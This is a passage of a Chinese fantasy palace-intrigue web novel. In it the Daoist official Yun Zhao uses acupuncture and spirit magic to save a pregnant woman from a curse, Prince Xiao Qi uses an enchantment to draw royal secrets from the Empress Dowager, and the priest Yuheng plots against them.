若孕妇在此刻血崩而亡,腹中七月已成形的胎儿亦同时殒命,母子同丧,怨气冲天。
再辅以这‘子母噬魂珠’的邪术禁锢,便能生生造出一对‘子母怨煞’。”
云昭自然知道子母怨煞。
事实上她刚一拿到那颗珠子,便猜到了对方的盘算。
子母怨煞是极阴毒的炼鬼之法。母煞护子,子煞恋母,两煞互为倚仗,怨力远超寻常厉鬼数倍。
一旦炼成,便是施术者手中最凶戾的鬼役,且因其同源同命,极难超度或消灭。
阿措依的声音带着一丝若有似无的引诱:“你若任由她们**,第一时间收了这对‘子母怨煞’,岂非立刻得了两个强大的助力?
许多天师术士,求还求不来这般机缘呢。”
云昭正将金针缓缓刺入丽娘虎口的合谷穴,一边淡淡道:“那我跟你厌憎的孟峥,有何区别?”
她确实需要力量,需要鬼仆助力。
但如果这力量的代价,是献祭活生生的人命,是制造无法超脱的怨魂——
那她跟前世夺她凤命、成就姜绾心和太子的幕后黑手,又有何区别?
当一个人变得强大,真正定义她的,往往不在于她能做到什么,而在于她选择不去做什么。
阿措依目光闪烁,盯着云昭施针的侧脸看了片刻。
她能清晰感应到云昭周遭的气息——清正,坚定,带着一种守护之意。
她知道,云昭所言非虚。
她是诚心要救这母子二人,要从阎王爷手里抢人。
这时,云昭已下完第三针,头也不抬地冷声道:“你愿意帮忙就帮,不愿意就闪开,少在这碍眼。”
被如此训斥,阿措依却不生气。
她生前是黑石寨大祭司,坐镇一方,护佑子民。她见识过许多地位超然之人,也知道那些人是如何视人命如草芥。
先时在朝堂,她目睹云昭步步为营,让整个孟家陷入绝境;
之后在姜家,她也见识了云昭手段凌厉,算计得梅氏生不如死;
她曾以为,这也是个为达目的不择手段的狠角色。
但直到此刻,在这昏暗污浊的产房里,看着云昭为一个寻常的书吏妻子拼尽全力,她才真正确认——
云昭与她认识的那些上位者不同。
她尊重每一个生命,她绝非唯利是图之人。
阿措依沉默了片刻,忽而开口:“有个法子,可以让她今晚不生。
但接下来两个月,她必须绝对卧床,不能下地,不能移动,吃喝拉撒都在床上,直到足月生产。你可愿一试?”
云昭原本已做好为丽娘提前接生、尽力保全大小的打算,闻言指尖一顿。
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身旁正按着穴位的接生婆和焦急等待的严嬷嬷,虽听不见鬼语,却仿佛感觉到什么,都疑惑地看向突然停顿的云昭。
云昭直视着阿措依:“说。”
“‘子母噬魂珠’的邪力,已侵入胞宫入口,使其松软欲开。
我可暂时用阴力将其‘封住’,类似于……用一道无形的‘环’,箍住那里,阻止胎儿下坠。
但这两个月内,母体必须静养,任何剧烈活动都可能破封。”
云昭心中飞快权衡:七月早产,胎儿存活希望渺茫;若能再保两月,到九月生产,生机便大得多。
她瞬间有了决断:“莺时,取‘冰蚕丝’来。”云昭吩咐道,那是一种极细极韧、且能导引灵气的特殊丝线。
她转向严嬷嬷和接生婆:“我有一法,或可暂时止住血崩,保胎儿在腹中再养两月。
但需要你们全力配合,且接下来的日子,丽娘必须绝对卧床,不可起身,你们可能做到?”
接生婆子听得眼睛发亮,又有些畏怯:“这、这法子听着神乎!老身接生二十年,从未见有人能强行把要开的宫口‘关回去’的。这……这真能成?”
这时,床上的丽娘睁开了眼,她脸色惨白如纸,眼神却异常坚定:
“娘……我愿意试。只要能让孩子多在我肚子里养上两个月……我躺着不动,多久都行!”
严嬷嬷老泪纵横,紧紧握住儿媳的手,用力点头:“司主,您放手施为!老奴就是不吃不喝,也会日夜守着她,绝不下地!”
云昭颔首,又对接生婆道:“你看仔细我接下来的手法。待两月后她真正生产时,接生反而简单——只需将这‘丝环’破开,胎儿自会顺产。”
整个过程持续了近一个时辰。
屋外,严书吏跪在院中,对着月亮不停磕头;
屋内,油灯添了三次,每个人都汗湿重衣。
当最后一针落下,丽娘身下的出血,竟真的以肉眼可见的速度减缓、止住。
她腹中那团微弱的淡金色光晕,在云昭的玄瞳视界里,也似乎凝实了一分。
“成了。”
云昭长长吐出一口浊气,对严嬷嬷道,“接下来按我开的方子静养。记住,绝不可下床。”
待云昭从严嬷嬷家中离开,已是子时。
夜色深沉,万籁俱寂。
云昭站在巷口,回望那盏亮着的小窗,心中并无轻松。
她摊开手掌,掌心躺着那颗已被符纸包裹的子母噬魂珠。
玄都观。
萧启派出的人手,自然能盯住玄都观门庭出入、监视玉衡**行踪。
可他们阻止不了络绎不绝的香客怀揣着渴望,虔诚叩拜;
更阻止不了那些被道士说中心事的百姓掏空积蓄,购买那些所谓开光圣物。
人心所求,如饥似渴。
而玄都观,正是看准了这份饥渴,将掺着蜜糖的**,兜售给每一个绝望中的人。
皇帝精明多疑,未必全信玉衡**的话。
但他重用玉衡,许他兴建玄都观,贩卖开光之物,赐他“**”尊号,也是对其他玄师的一种制衡。
她和玉衡,同是身怀异术的玄师,手中同样握有“凤阙令”——
帝王心术,重在平衡,忌在失控。
一个玄师指控另一个玄师,本身就会让皇帝觉得“失控”。
想要扳倒玉衡,戳穿他那身华丽道袍下的鬼蜮伎俩,不能像对付孟家那样,靠雷霆手段当庭揭发。
云昭坐在马车里,眸底映着窗外流动的街景,忽而想到一个主意。
既然玉衡**一心想要兜售买卖、蛊惑人心,那她就送他一份大礼,也让他好好尝一尝人心嬗变的滋味。
第238章 年轻了十岁不止!
玉衡**从一阵骨髓都被冻碎的昏聩中挣扎着醒来时,舌尖还残留着血腥气。
意识像是沉在冰冷的深潭底,费力地向上浮涌。
耳畔传来嗡嗡的杂音,逐渐汇聚成一个尖细而焦急的声音:“**?玉衡**?陛下有令,命**即刻前往清凉殿觐见!”
玉衡猛地睁开眼,好一会儿,眼神才聚焦在床边小太监的脸上。
他坐起身,四肢百骸都浸透着一种诡异的僵硬,尤其是后颈偏下的位置,如同埋进了一块万年寒冰。
那里并非寻常病痛,而是埋着一枚牢牢锁住他命门的“噬魂符”。
“知道了。”玉衡的声音恢复了往日的平稳淡漠,“贫道这就去。”
小太监如蒙大赦,连忙躬身退到一旁伺候。
玉衡**缓缓坐起身,道袍下的手指却在微微痉挛。
孟家满门倾覆、孟峥被凌迟处死的消息,他已听闻。
事后他也偷偷去打探过,却发现孟清妍被打入冷宫时,也不知是走的仓促还是什么别的缘故,他让孟峥转交的那串蓝水玉手串,她并未随身带着。
这个云昭……比他预想的还要棘手。
皇帝素来多疑,他若在这个节骨眼上着急出宫,恐会引起帝王不必要的猜忌。
况且,即便他能设法出宫,见到府君,求解药又谈何容易?
“噬魂符”本就是为了驱策他们办事,今年符力发作提前,且异常猛烈,显然是府君不满他们近来所为。
没有新的“进展”,没有足够的“供奉”,府君岂会轻易松口?
空着手去,别说求解药,恐怕会引来更残酷的惩罚。
他只能硬熬。
所幸在宫中这两日,也并非全无收获。
姜绾心腹中那个胎儿,在他以秘法催落之后,被他成功炼化了。
想起姜绾心,玉衡**眼底掠过一丝冰冷的讥诮。
那愚个蠢的女人,只当成了他的弟子,他便好心帮她解那劳什子血咒?
殊不知,他真正看中的,是她腹中那因皇室血脉与诅咒交织而蕴含特殊气息的胎元。
炼化之后,虽不能根除“噬魂符”,却也能滋补他受损的元气,延缓痛苦。
他可从不做亏本买卖。
玉衡**深吸一口气,将所有情绪敛入眼底,起身整理道袍,拂尘一甩,缓步出了静室。
*
清凉殿。
皇帝并未像往常那样伏案批阅奏章,而是负手立于窗前,看着檐角滴落的雨水。
“陛下,玉衡**到了。”内侍通传。
“宣。”
玉衡**步入殿中,面色除了比平日略显苍白,并无太多异样:“贫道叩见陛下。”
皇帝转过身,目光在他脸上停留片刻:“听闻**昨日身体不适,闭门未出。如今可好些了?”
“劳陛下挂怀。”玉衡**微微躬身,“不过是修行中偶感气机凝滞,略作调息便无碍了,现已大好。”
皇帝点了点头,转而道:“近日朝中多事,天气也反复,原定的文昌大典,朕想了想,还是推迟些时日。眼下,倒有另一件事,需交托给**去办。”
玉衡**垂眸:“愿为陛下分忧。”
皇帝沉吟片刻,似在斟酌词句,方才缓缓道:“朕前几日,已派人往清凉寺送了信,命皇后回京。”
他顿了顿,目光望向窗外雨幕,声音听不出太多情绪,“算算时辰,想必銮驾已然在路上了。朕思来想去,这接驾引路之人,由**担任,最为妥当。”
玉衡心中微凛,面上却依旧恭谨如初。
他自然知晓皇后的事。
当年那位性情刚烈、眼里揉不得沙子的中宫之主,为何会突然心灰意冷,自请离京,长居清凉寺带发修行,这背后,可少不了他的推波助澜。
如今皇帝让他去接,倒有种因果循环的微妙感。
想必皇后见到他这位“故人”,表情一定会相当精彩。
心思电转间,玉衡**已躬身应道:“陛下信任,贫道愧领。必当妥善安排,恭迎皇后娘娘凤驾安然回宫。”
“皇后长居清凉寺,青灯古佛相伴,已有十年。朕与她……许久未见,不知她如今心性涵养,是否已如静水。”
皇帝抬起眼,目光深邃地看向玉衡**,“**接到皇后,一路同行,若觉有何……不同寻常之处,可密奏于朕。”
玉衡**头垂得更低,掩去眸中一闪而过的精光:“谨遵陛下旨意。贫道定当细细体察,如实回禀。”
玉衡昂首阔步地出了清凉殿。
他并未注意到,殿外廊柱阴影处,一个低眉顺眼的小太监,悄无声息地一闪而过。
*
玄都观。
细雨淅沥,敲打着竹叶,更添几分清寂。
「皇后回京,玉衡奉旨迎驾」
萧启展开刚刚收到的密信,快速浏览一遍。
今日不同前夜,他特意一大清早堂而皇之地赶来玄都观。
“赵悉呢?”他收起纸条,指尖一缕内劲将其化为齑粉,随口问道。
墨一低声回禀:“赵大人方才说,观外街角卖的梅花糕和蟹粉酥极好,他买了一份,说是要给云司主送去尝尝鲜。”
萧启:“……好吃吗?”
旁边的墨二立刻点头:“好吃!那蟹粉酥酥皮层层起酥,入口即化!还有那梅花糕,造型
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别致,甜而不腻!赵大人排了好一会儿队呢!”
萧启面无表情地看了二人一眼。
为什么他身边这些人,一个两个都这么没眼力见?
既然好吃,为何不早些禀报?为何不去买了给云昭送去?
这种好事,怎么次次都被赵悉那家伙抢先一步!
这时,侍卫首领悄然入内,躬身道:“殿下,太后娘娘有请。”
太后暂居之处,原是玄都观后山一座名为“静心堂”的独立院落,原本陈设古朴简单,甚至有些陈旧。
然而因太后来此居住,一切都大不相同。
脚下是厚厚的波斯进贡的曼陀罗花纹栽绒地毯;桌椅案几皆换了紫檀木打造,雕工精细;就连垂挂的帐幔也换成了轻盈贵重的云影纱。
虽不及宫中奢华,但在这清修之地,已显突兀的富丽。
显然,他这位祖母,即便是在此“清修”,也绝不肯委屈自己分毫。
太后缓步从内室步出。
她身穿宝蓝色缂丝常服,戴着简单的珍珠头面。最令人惊异的是她的脸色——
并非之前服食所谓“太岁肉”后那种妖异泛红、气血亢奋的模样,而是一种由内而外透出的红润光泽。
乍一看去,竟仿佛比在宫里时年轻了十岁不止!
吃素祈福?静心养性?
骗骗不知情的外人也就罢了。
萧启太清楚,自己这位祖母对“青春永驻”的执念有多深,这些年她私下尝试过的虎狼之药、偏门秘术,他早有耳闻。
太后如今这般,背后必有异常。
他依照之前与云昭商议的对策,脸上露出恰到好处的关切:“孙儿给皇祖母请安。”
太后在铺着软垫的椅子坐下,神情颇为舒畅:“住了这几日,哀家倒也习惯了。这里安静,没人打扰,反而睡得安稳。就是身边没个能说说体己话的人儿,总觉得寂寞了些。”
她端起手边的雨前龙井,抿了一口:“不过,心儿如今有了身孕,让她一直陪哀家在这山里住着,终究不是个事儿。”
萧启安静地听着,面上不露声色,动作自然地执起银壶,为太后添茶。
就在茶水注入杯盏、雾气氤氲升腾的刹那,他手腕几不可察地轻轻一抖。
几滴水溅在了太后袖角。
太后下意识地垂首,口中无意识地“呀”了一声。
萧启指尖早已夹着一片“浮生梦”,无声无息地贴近太后额前。
太后只觉得额前似乎掠过一丝清凉舒爽的气息,很快,双眼便陷入迷濛。
“皇祖母,”萧启缓缓开口,“有些事,孙儿藏在心里很久了,一直很想问个明白。”
第239章 溯过往、窥未来
殿内寂静,唯有窗外渐沥雨声和香炉中细微的炭火噼啪。
依照云昭事先的叮嘱,萧启此时应当先问出两个确凿无疑的问题,既是试探“浮生梦”是否生效,也是为了稳定太后的心绪。
萧启凝视着太后。
“太后娘娘,一共生育了几个孩儿?”
这本该是个简单的答案——
长公主萧妙瑜、先皇萧铎(萧启之父)、以及当今皇帝萧衍。
然而太后闻言,眼神却恍惚了一瞬。
她嘴唇翕动,喃喃道:“孩儿……哀家一共……四个孩儿。”
这话让萧启心头一惊。
紧接着,太后的声音低沉下去,带着一种压抑多年的、沉甸甸的愧悔:“最对不住的……就是老大,和四丫头。”
也就是说,除了长公主、父亲和二叔,他竟还有一位……小姑姑?
为何此事从未听任何人提起?宫中亦无半点记载传闻?
萧启心中巨震,面上却强自维持平静,顺着话头追问:“为何……觉得对不起老大?”
太后沉浸在自己的思绪里,并未察觉异常:“老大……萧铎。”
她终于说出了那个近年来几乎成为禁忌的名字。
“当年北境平乱,他身先士卒,受了那么重的伤,胸口留下旧疾,每逢阴雨天便疼痛难忍。
老大这皇位坐得不易。可他死后,哀家却……却违背了他的意愿,帮着衍儿坐稳了皇位。
皇位本该由铎儿的太子继承,奈何节愍太子(萧启兄长)早夭,渊儿(萧启)那时又太小……
国不可一日无君,北境未平,南疆又乱,兄终弟及,也是为了萧家的江山稳固啊……”
提及父亲与早逝的兄长,萧启眼眶微微发热,但他立刻压下翻涌的情绪,抓住太后话中关键,追问道:“节愍太子……真是死于‘幻梦散’吗?”
太后神情骤然变得复杂,那是一种混合了痛惜、无奈,甚至有一丝诡异平静的表情。
“死于幻梦散……”她缓缓重复,目光飘忽,“或许,反倒是件好事。”
萧启背脊窜上一股寒意。
只听太后低声道:“他在朝中声望太高,年轻气盛,又得太傅们和部分老臣鼎力支持……皇帝,最是多思多疑的性情。
就算当时顾忌叔侄情谊,舍不得下手,可往后呢?
与其将来闹到不可收拾,骨肉相残,不如……不如就这样,稀里糊涂走了,也干净。”
这话里的凉薄,让萧启心头浮起一抹酸涩与不甘。
他深吸一口气,仿佛用尽了全身力气,才问出那个盘旋心头多年的问题:“萧铎,究竟是如何死的?”
太后脸上瞬间闪过剧烈的挣扎。
她眉头紧蹙,手指无意识地攥住了衣角,指尖发白。
片刻后,她仿佛被一股力量催促着,终于吐露:“那天晚上……铎儿和衍儿,兄弟二人在书房大吵了一架。
屏退了所有人,没人知道他们因何而起,只听到里面摔了东西,衍儿是红着眼眶出来的……
次日天未亮,内侍进去送参汤,才发现……铎儿已经歪在榻上,没了气息。”
她顿了顿,语气变得急切,像是在说服自己:“不会是衍儿!绝不会是他!
若真是衍儿……他必定会把事情做得更周密些!闹成这样,谣言纷纷,人心浮动,对他有百害而无一利!
那段时日,铎儿为国事操劳,胸口旧伤复发得厉害,夜里常痛得睡不着……御医都说了,须得静养,切忌动怒。
我想着,定是那晚兄弟二人争吵激烈,他急怒攻心,诱发了旧伤,这才……这才猝然去了。”
太后声音低了下去,“此事……衍儿也一直内疚。登基后不久,他就大病了一场,对外只说劳累过度,但我知道……他这是有了心病。”
萧启脸色阴晴不定。
他勉强定了定神,又追问道:“那穆氏呢?”
萧启口中的“穆氏”,指的是元懿皇后,那位传闻中与父亲情深意重、却在父亲死后不久便“自尽殉情”的生母。
太后脸上顿时掠过毫不掩饰的厌恶与冰冷:“她?一个不守妇道的女人!”
太后冷然道,“就算她自己不死,哀家也定会寻个机会,让衍儿亲手了结她!”
萧启拳头在袖中猛地握紧。
太后犹自愤恨:“她明知自己本就活不长了!偏偏选择用那样惨烈的方式**!她就是故意的!要让衍儿记她一辈子,愧疚一辈子!
老大因她,与哀家心生隔阂;
衍儿又因她意乱情迷,行事昏聩……
这女人……祸害了哀家两个儿子!她死不足惜!”
萧启听得心潮翻涌,脸色几度变幻。
他强压下对母亲之事追根问底的冲动,转而问道:“四丫头……又是如何去的?”
此言一出,太后整个人猛地一颤,像是被无形的鞭子抽中,脸色瞬间惨白如纸,额头上沁出大颗大颗的冷汗,呼吸陡然急促起来。
她双手胡乱挥舞了一下,喉咙里发出“嗬嗬”的怪响,竟有随时要昏厥或失控的迹象!
先皇之死、先皇后之死、先太子之死!
萧启三位至亲之死,涉及皇权隐秘、江山稳定,都未能让太后如此失态!
这位萧启此前从不知道的“小姑姑”之死,究竟隐藏着怎样的秘密,竟比当年真相更能撼动太后的心神?
眼见太后神色狂乱,气息不稳,萧启立刻回想起云昭事先的叮嘱——
“浮生梦”虽能引动心绪,但也可能刺激过甚,需及时安抚,以免对方彻底崩溃,醒来后察觉异常。
他不敢迟疑,迅速上前一步,伸手扶住太后似乎因头晕而微微摇晃的肩膀,实则拇指悄然按在她耳后某处穴位,轻轻一揉。
左手则迅速将太后原本撑在额前的手扶稳,让她手肘顺势抵在坚实的紫檀木桌沿上。
“祖母?祖母可是累了?”萧启声音带着恰到好处的关切,“许是这几日诵经祈福,耗费心神。您先歇息片刻罢。”
太后紧绷的身体微微一松,狂乱的眼神逐渐涣散,抵抗之力骤减。
她顺着萧启的力道,缓缓伏在桌上,额头抵着手背,发出一声悠长的叹息,仿佛瞬间被抽空了所有力气,只剩下疲惫。
不过呼吸之间,竟传出了轻微而均匀的
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鼾声,像是真的困极而眠。
萧启静静退开两步,看着伏案而眠的太后,背心却已惊出一层冷汗。
他缓缓吐出一口浊气,只觉满腔疑云与沉重压得他几乎喘不过气,更有一种窥见冰山一角、却深知水下更庞大黑暗所带来的寒意。
他不再停留,转身快步走出静心堂。
山风挟着冰凉的雨丝扑面而来,打在脸上,带来刺痛般的清醒。
萧启站在廊下,任由风雨吹拂气,胸中翻腾的惊涛骇浪渐渐被压下。
估算时间,玉衡**面圣之后,也该回玄都观了。
*
玉衡**刚踏入观门,一名心腹弟子便快步迎上,压低声音急急禀报:“师尊,秦王殿下辰时便到了观中,还带了不少亲兵。那些兵士走动逡巡,似有四处探查之意。”
玉衡**他抬眼,与那弟子目光一触。
弟子几不可察地微微摇头,眼神示意:那个地方无恙。
玉衡**心中稍安。
他定了定神,拂尘一甩,面上恢复波澜不惊的淡然,向前院客堂走去。
客堂中,萧启正负手而立,看着墙上悬挂的一幅《道德经》经文拓片,仿佛真的在欣赏书法。
听到脚步声,他转过身,锐利的目光直射玉衡。
萧启语气平淡,听不出喜怒,“**不在,本王便随意逛了逛。玄都观果然清幽,是个修身养性的好地方。”
玉衡**执礼:“贫道奉诏入宫,让殿下久候了。殿下若有指点,贫道洗耳恭听。”
“指点谈不上。”萧启向前踱了两步,目光扫过堂内陈设,看似随意地说道,“只是觉得,有些殿阁过于陈旧了。
尤其是后山几处偏殿,年久失修。**既是为国祈福,居住之所,也该更稳妥些才是。”
玉衡**笑容不变:“道门中人,居所但求清净能遮风雨即可,不敢奢求华美。后山偏殿虽旧,却更显自然古朴,贴近道法自然之意。”
片刻,萧启仿佛实在寻不到什么破绽似的,眼底掠过一丝不甘,但很快掩去。
“既然**如此说,那便是本王多虑了。今日叨扰,告辞。”
玉衡**亲自送到观门,看着萧启一行人骑马远去的背影,眼神逐渐阴冷下来。
他自然注意到,有几处不重要的殿阁,有明显的被翻动过的痕迹,一些物件的摆放位置也不对。
“虚张声势,徒劳无功。”玉衡**心底冷笑。
萧启和那姜云昭,真以为解开前头几道诅咒,就能高枕无忧了?
七玄钉岂是那么轻易就能化解的?
姜云昭纵有些天赋,能解开前面几道,可她绝不会知晓,七玄钉真正玄妙狠绝之处,在于其后三道恶诅,彼此并非独立,而是以‘三才倒逆’之局相锁相生!
最后一道‘绝命钉’,若强行破除,非但不能解咒,反而会瞬间引爆前面两道已看似解开的诅咒。
届时,诅咒之力将加倍回溯,侵魂蚀骨!
想到此处,玉衡**才要忍不住叹服府君的玄术!
要知道,府君可是能溯过往、窥未来之人!
姜云昭,你拿什么跟府君斗?
第240章 眼皮老跳
另一边,萧启策马疾行一段,远离玄都观后,速度才缓了下来。
他与身旁的李副将对视一眼,两人眼中皆有深意。
前夜,他们连同裴琰之,已成功潜入玄都观后山一处极其隐蔽的岩缝密室,并用事先准备好的物件,替换了里头某样东西。
今日他大张旗鼓带兵前去,故作搜查姿态,留下些许痕迹,就是为了让玉衡误以为他们只能徒劳查一查道观,忽略云昭正在布局之事,从而放松警惕。
双方皆视对方为死敌,他今日的“挑衅”越是明显,玉衡越觉得一切尽在掌握。
能多拖住他一时,就能为云昭争取更多暗中布置的时间。
只是……回想起方才太后在“浮生梦”影响下吐露的往事,萧启眉头再次深深蹙起。
看来,有些事,他必须要告诉云昭知晓了。
*
昭明阁。
晨光熹微,难得宁静。
云昭看过前夜长公主派人送来的密信,起身到外间与李灼灼、李扶音一同用早膳。
李灼灼边吃边道:“阿昭,你昨日没去看真是可惜了!不对,不看也好,太吓人了!”
她拍拍胸口,眼睛却亮晶晶的,“孟峥那恶贼被凌迟,三千六百刀,从头到尾哼都没哼几声——
不是他硬气,是行刑的师傅手艺好,吊着他一口气呢!
现场围观的百姓,开始还有人吐,后来……后来好多人都哭了,是那些被孟家欺凌过的人家,一边哭一边骂……”
她说着,声音渐渐低沉,娇艳的脸上闪过一丝与年龄不符的沉重:
“我祖父、我爹都说,孟峥在边关杀良冒功,克扣军饷,陷害忠良……一桩桩一件件,死不足惜!
只是可惜了那些枉死的将士和百姓……”
她眼圈微微发红,用力眨了眨,将泪意逼回去,
“幸好,阿昭你厉害,还有那位圣女阿措依,让他魂飞魄散,永世不得超生!也算……告慰亡灵了。”
云昭默默给她夹了一个包子,李灼灼拿起来,恶狠狠咬了一口。
有关阿措依复仇的事,自然是云昭讲给李灼灼和李扶音知晓的。
外人只知岩诺为全族复仇,不知个中还有阿措依的牺牲与功劳。
这时,一直安静吃饭的李扶音忽然开口,语气带着几分闲谈的趣意:
“阿昭,你可知如今京城里,除了孟家伏诛这件大事,还有什么事最是风靡吗?”
云昭抬眸,摇了摇头。
李扶音轻笑:“是一间新开的书肆,名叫‘墨韵轩’。
里面卖一种最新的‘连载话本’,薄薄的一册册出,故事光怪陆离,专讲些玄奇诡怪之事。文笔很是不错,情节也很抓人。
如今在京城贵女圈子里,可是人手一册,追看得紧呢。”
云昭初时并未在意。
李扶音却让贴身丫鬟取来几本装帧清雅的小册子,放在桌上:“最新出的这几回,我都买来了,闲着也是闲着。”
云昭目光随意地扫过行行墨字,甫一触及某段情节描述,神色却蓦然一凝!
那书中杜撰的江湖仇怨故事里,竟以曲折隐晦的笔法,影影绰绰地提及了一种邪术——
却与宋白玉临死前所诅“血咒”,足有七八分相似!
只是书中将施术所需材料胡诌成“南海鲛人泪”等虚无缥缈之物,具体步骤更是写得颠三倒四、错漏百出,如同市井说书人的臆想拼凑,似是而非。
即便真有人按图索骥,也绝无可能成功。
这绝非偶然的笔误或猎奇。
分明是写书之人,刻意谬误书写,防止旁人效仿为祸。
云昭心念急转,立刻翻开另外几册。
其中一本,上面写的竟是阮家与殷家之事……只不过将家族人员构成稍作更改,换了故事发生的时间地点。
再兼玄察司有意**息,若不是她这样亲身经历之人,轻易还想不到阮家与殷家头上。
她得见一见这写书之人。
云昭合上书册:“这‘墨韵轩’在何处?”
李扶音说了个详细地址,正在文人雅士常聚的琉璃坊一带,那里书肆画店林立,茶楼酒馆喧嚣,是三教九流信息混杂之地。
云昭握紧书册,脑中思绪如电飞转。
一则,这写书之人的身份,必须要查清;
二则,如果她反过来,借这书肆与话本做些文章,针对玄都观一事,说不定能起到意想不到的效果!
就在她凝神权衡利弊之际,院外回廊传来一阵略显急促的脚步声,由远及近。
只见赵悉提着两个摞起来的朱漆雕花食盒,脸上带着殷勤的笑,快步走了进来。
“云司主!两位李小姐也在,正好!”
赵悉将食盒放在一旁的空桌上,一边打开一边道,
“回来路上经过新开的点心铺子,想起云司主似乎喜欢清爽口味,就买了刚出炉的蟹粉酥和梅花糕,还有冰镇过的樱桃酪,最是解腻生津。你们尝尝看,味道极好!”
食盒开启的瞬间,糕点的清甜与樱桃的果香交织弥漫开来,冲淡了室内沉凝。
李灼灼立刻眼眸发亮,李扶音也含笑望来。
云昭微微一笑:“赵大人有心了,多谢。”
“都这么熟了,还客气什么!”赵悉哈哈一笑,神色爽朗,也不拘礼。
坐下来的同时,极其自然地伸手从桌上的蒸笼里拈起一个还冒着热气的小笼包,一口咬下,汤汁鲜美,他满足地眯了眯眼。
要说他这般鞍前马后、殷勤备至,除了真心敬佩云昭的为人和本事,自然也存了点“未雨绸缪”的小心思。
萧启跟云昭那是什么关系?未婚夫妻!
日后就算云昭发现有什么事被他们联手瞒了一二,冲着萧启的面子,想必也不忍苛责。
可他赵悉不一样啊!
他非亲非故,全凭自己机灵(和厚脸皮),才好不容易跟云昭建立起这点患难与共的交情,若因“知情不报”而被云昭记上一笔,那可真是亏到姥姥家了!
这种风险,必须用日常的贴心关怀和美味点心努力对冲!
云昭眼瞧着赵悉那双惯会传情的桃花眼滴溜溜转个不停,目光在他脸上停留片刻,从腰间香囊里,取出一张折成三角的黄色符箓递了过去。
赵悉简直感动要落泪!<
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br>他双手微微发颤地接过符箓:“云昭!你、你对我真是太好了!”
好到如果没有萧启总是在旁虎视眈眈,他简直恨不得当场跪地认个干亲!
云昭语气平淡,却带着不容置疑的认真:“贴身收好。接下来这段日子,阴晦杂乱之地,能不去则不去。”
她顿了顿,抬眸直视赵悉,“你眉梢带粉,眼尾泛水,近日恐有桃花劫临身,且是那种要命的美人恩。自己警醒些。”
赵悉脸上的感动瞬间僵住,桃花劫?要命的那种?
他浑身一个激灵,几乎是条件反射般从腰间暗袋里掏出银票,“啪”地拍在桌上,语速飞快:“不用给我省钱!有多少来多少!
我说最近就觉得眼皮老跳,原来是应在这事上!”
云昭扫了一眼银票上的数额,也没多废话,起身走到一旁的书案前,取来朱砂和特制黄纸,当场又绘制了数张功能各异的护身符、清心符、破煞符,一气呵成,交给了眼巴巴守在一旁的赵悉。
经过将家村之事,云昭也发现了:
符咒这种东西,给萧启那种命格极贵、意志如铁却也容易吸引极端灾劫的人,有时反而可能成为某种“标靶”。
但给赵悉这种天生福运不错、又格外惜命的活宝,说不定会有妙用。
写完符,云昭下意识朝门外望了一眼。
她本以为今天会有林静薇离开苏家后的行踪消息传回,却迟迟不见暗卫的踪影。
以暗卫的效率和纪律,若非遇到极特殊情况,断不会延误。
一丝疑虑,悄然爬上心头。
就在这时,一阵突兀的、带着哭腔的嘶喊,猛地从昭明阁大门外传来——
“云司主!求您大发慈悲,救救我家夫人吧!过往是我们有眼无珠,冲撞了司主!求您不计前嫌,救命啊——!”
那声音苍老凄厉,伴随着“咚咚”的沉闷叩击声,仿佛头颅正用力撞击着硬物。
很快,门房长生快步进来禀报:“司主,门外叩首哀求的,是孟峥副将徐莽之妻余氏的奶娘,梁嬷嬷!”
云昭眸光一沉。
温氏此时也匆匆走来:“司主,那老嬷嬷磕头没几下额上就见血了,还故意放声高喊,引来不少路人围观……这分明是以苦肉计,逼您不得不出去应对。”
云昭转向赵悉:“昨日退朝后,可知徐莽去向?”
赵悉正色道:“徐莽?当日就被金吾卫押走,关进大理寺诏狱了。
孟家谋逆案震动朝野,他作为孟峥心腹副将,参与极深,陛下震怒,岂会轻纵?
三司会审定罪是迟早的事,恐怕难逃一死。”
云昭闻言,心中了然。
眼看大厦将倾,死期将至,以徐莽那等狠戾自私的心性,绝不会让自己身上那用至亲性命炼化的“怨面瘤”白白浪费!
他定是打着最后的主意,要利用“五亲断魂术”的阴毒牵连,让家中血脉亲人替他承受,或许能为他换来一线渺茫生机。
这徐莽死不足惜,刚好可以借他的命,当作叩玄都观的敲门砖。
云昭心中计较已定,对温氏和长生道:“开门。”
第241章 拖得太久,太迟了
昭明阁大门缓缓开启。
石板地上,一个头发花白的老妇人正以头抢地,额上一片血肉模糊,混合着灰土,看上去凄惨无比。
她身边已围了数十名被哭喊声吸引而来的百姓,正交头接耳,指指点点:
“哎哟,这老嬷嬷瞧着岁数不小了,磕得头破血流,真是可怜……”
“是啊,哭得这么惨,不知道家里遭了什么大难。”
“不是说玄察司云司主最是公正仁善,遇冤必究吗?怎的今日任由这老人家在门前哭跪了这么久也不见动静?”
“嗨,这你就不懂了,官家衙门,哪是那么容易进的?说不定是这老妇人家里犯了什么事呢……”
“云司主今日若真不管,传出去名声怕是不好听……”
议论声嗡嗡作响,好奇、同情、质疑,种种情绪在人群中弥漫。
这时,门房长生先一步走了出来。
他生得一副憨厚面相,嗓门却洪亮清晰,一下子压过了嘈杂的议论:“诸位街坊邻居,父老乡亲!且静一静!”
众人目光齐刷刷看向他。
长生不慌不忙,指着地上仍在哭泣的梁嬷嬷,朗声道:“诸位可知,这位跪地哀求的梁氏,究竟是何身份?
她乃是日前已伏诛的逆贼孟峥麾下副将——徐莽家中,其正妻余氏的奶娘!”
“徐莽”二字一出,人群先是一静,随即哗然!
“孟峥的副将?!”
“我的天!那孟峥杀良冒功、通敌**,死有余辜!他的副将能是什么好东西?必定也是一丘之貉!”
“就是!说不定手上也沾着咱们将士的血!”
“这老嬷嬷是徐莽家的人?那她还有脸来求玄察司?!”
“谁知道是不是来演戏,想博同情,帮那姓徐的脱罪?”
长生见状,趁热打铁,声音又拔高了几分:
“诸位!可还记得前日夜里,也是在这昭明阁门前,那孟峥曾假意重伤,倒在我家司主车前求助?”
立刻有当晚围观过的百姓高声应和:“记得!怎么不记得!我亲眼所见!”
“我也在!那晚人可多了!”
“司主当时就揭穿了孟峥身上的‘怨面瘤’,说他用了劳什子邪术谋富贵!”
长生点头,目光扫过人群:“不错!我家司主当时便明言,那徐莽用了损阴德的‘五亲断魂术’!
此术歹毒无比,需以五位至亲之人的性命与福泽为祭,方能换来施术者短时间的飞黄腾达!
司主当时断言,若徐莽凭借此术升官发财,不出三个月,其家中必有至亲横死!”
这番话如巨石入水,激起更大波澜。
许多当日不在场的百姓听得目瞪口呆,毛骨悚然。
这时,人群中一个机灵些的汉子大声质疑道:
“这事儿我也听家里在衙门当差的亲戚提过一嘴,早就在京城私下传开了!
